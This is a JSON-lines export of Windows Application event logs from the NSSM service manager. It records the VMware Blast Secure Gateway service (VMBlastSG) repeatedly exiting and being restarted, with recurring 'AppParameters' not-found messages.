{"@timestamp":1646728635749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160295}}
{"@timestamp":1646728635750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160296}}
{"@timestamp":1646728635751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160297}}
{"@timestamp":1646728764245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160298}}
{"@timestamp":1646728764247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160299}}
{"@timestamp":1646728764247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157556","0"]}}},"module":"Application","provider":"nssm","sequence":160300}}
{"@timestamp":1646728764248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157556","157556","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160301}}
{"@timestamp":1646728764264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160302}}
{"@timestamp":1646728764265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160303}}
{"@timestamp":1646728764265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160304}}
{"@timestamp":1646728764266,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160305}}
{"@timestamp":1646728892849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160306}}
{"@timestamp":1646728892851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160307}}
{"@timestamp":1646728892852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156260","0"]}}},"module":"Application","provider":"nssm","sequence":160308}}
{"@timestamp":1646728892853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156260","156260","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160309}}
{"@timestamp":1646728892869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160310}}
{"@timestamp":1646728892869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160311}}
{"@timestamp":1646728892870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160312}}
{"@timestamp":1646728892871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160313}}
{"@timestamp":1646729021417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160314}}
{"@timestamp":1646729021419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160315}}
{"@timestamp":1646729021419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157600","0"]}}},"module":"Application","provider":"nssm","sequence":160316}}
{"@timestamp":1646729021420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157600","157600","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160317}}
{"@timestamp":1646729021436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160318}}
{"@timestamp":1646729021436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160319}}
{"@timestamp":1646729021437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160320}}
{"@timestamp":1646729021438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160321}}
{"@timestamp":1646729149959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160322}}
{"@timestamp":1646729149961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160323}}
{"@timestamp":1646729149961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157628","0"]}}},"module":"Application","provider":"nssm","sequence":160324}}
{"@timestamp":1646729149962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157628","157628","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160325}}
{"@timestamp":1646729149979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160326}}
{"@timestamp":1646729149979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160327}}
{"@timestamp":1646729149980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160328}}
{"@timestamp":1646729149981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160329}}
{"@timestamp":1646729278469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160330}}
{"@timestamp":1646729278470,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160331}}
{"@timestamp":1646729278471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156688","0"]}}},"module":"Application","provider":"nssm","sequence":160332}}
{"@timestamp":1646729278472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156688","156688","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160333}}
{"@timestamp":1646729278487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160334}}
{"@timestamp":1646729278488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160335}}
{"@timestamp":1646729278488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160336}}
{"@timestamp":1646729278489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160337}}
{"@timestamp":1646729406997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160338}}
{"@timestamp":1646729406998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160339}}
{"@timestamp":1646729406999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156064","0"]}}},"module":"Application","provider":"nssm","sequence":160340}}
{"@timestamp":1646729406999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156064","156064","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160341}}
{"@timestamp":1646729407016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160342}}
{"@timestamp":1646729407017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160343}}
{"@timestamp":1646729407017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160344}}
{"@timestamp":1646729407018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160345}}
{"@timestamp":1646729536277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160346}}
{"@timestamp":1646729536279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160347}}
{"@timestamp":1646729536279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156784","0"]}}},"module":"Application","provider":"nssm","sequence":160348}}
{"@timestamp":1646729536280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156784","156784","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160349}}
{"@timestamp":1646729536296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160350}}
{"@timestamp":1646729536296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160351}}
{"@timestamp":1646729536297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160352}}
{"@timestamp":1646729536297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160353}}
{"@timestamp":1646729664792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160354}}
{"@timestamp":1646729664794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160355}}
{"@timestamp":1646729664795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156932","0"]}}},"module":"Application","provider":"nssm","sequence":160356}}
{"@timestamp":1646729664796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156932","156932","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160357}}
{"@timestamp":1646729664812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160358}}
{"@timestamp":1646729664813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160359}}
{"@timestamp":1646729664813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160360}}
{"@timestamp":1646729664814,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160361}}
{"@timestamp":1646729793382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160362}}
{"@timestamp":1646729793384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160363}}
{"@timestamp":1646729793384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157504","0"]}}},"module":"Application","provider":"nssm","sequence":160364}}
{"@timestamp":1646729793385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157504","157504","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160365}}
{"@timestamp":1646729793402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160366}}
{"@timestamp":1646729793403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160367}}
{"@timestamp":1646729793403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160368}}
{"@timestamp":1646729793404,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160369}}
{"@timestamp":1646729921940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160370}}
{"@timestamp":1646729921940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160371}}
{"@timestamp":1646729921941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156376","0"]}}},"module":"Application","provider":"nssm","sequence":160372}}
{"@timestamp":1646729921941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156376","156376","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160373}}
{"@timestamp":1646729921961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160374}}
{"@timestamp":1646729921961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160375}}
{"@timestamp":1646729921962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160376}}
{"@timestamp":1646729921963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160377}}
{"@timestamp":1646730050457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160378}}
{"@timestamp":1646730050458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160379}}
{"@timestamp":1646730050459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157496","0"]}}},"module":"Application","provider":"nssm","sequence":160380}}
{"@timestamp":1646730050460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157496","157496","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160381}}
{"@timestamp":1646730050476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160382}}
{"@timestamp":1646730050477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160383}}
{"@timestamp":1646730050477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160384}}
{"@timestamp":1646730050478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160385}}
{"@timestamp":1646730178968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160386}}
{"@timestamp":1646730178969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160387}}
{"@timestamp":1646730178971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156844","0"]}}},"module":"Application","provider":"nssm","sequence":160388}}
{"@timestamp":1646730178971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156844","156844","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160389}}
{"@timestamp":1646730178988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160390}}
{"@timestamp":1646730178988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160391}}
{"@timestamp":1646730178989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160392}}
{"@timestamp":1646730178990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160393}}
{"@timestamp":1646730307633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160394}}
{"@timestamp":1646730307633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160395}}
{"@timestamp":1646730307634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156336","0"]}}},"module":"Application","provider":"nssm","sequence":160396}}
{"@timestamp":1646730307635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156336","156336","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160397}}
{"@timestamp":1646730307655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160398}}
{"@timestamp":1646730307655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160399}}
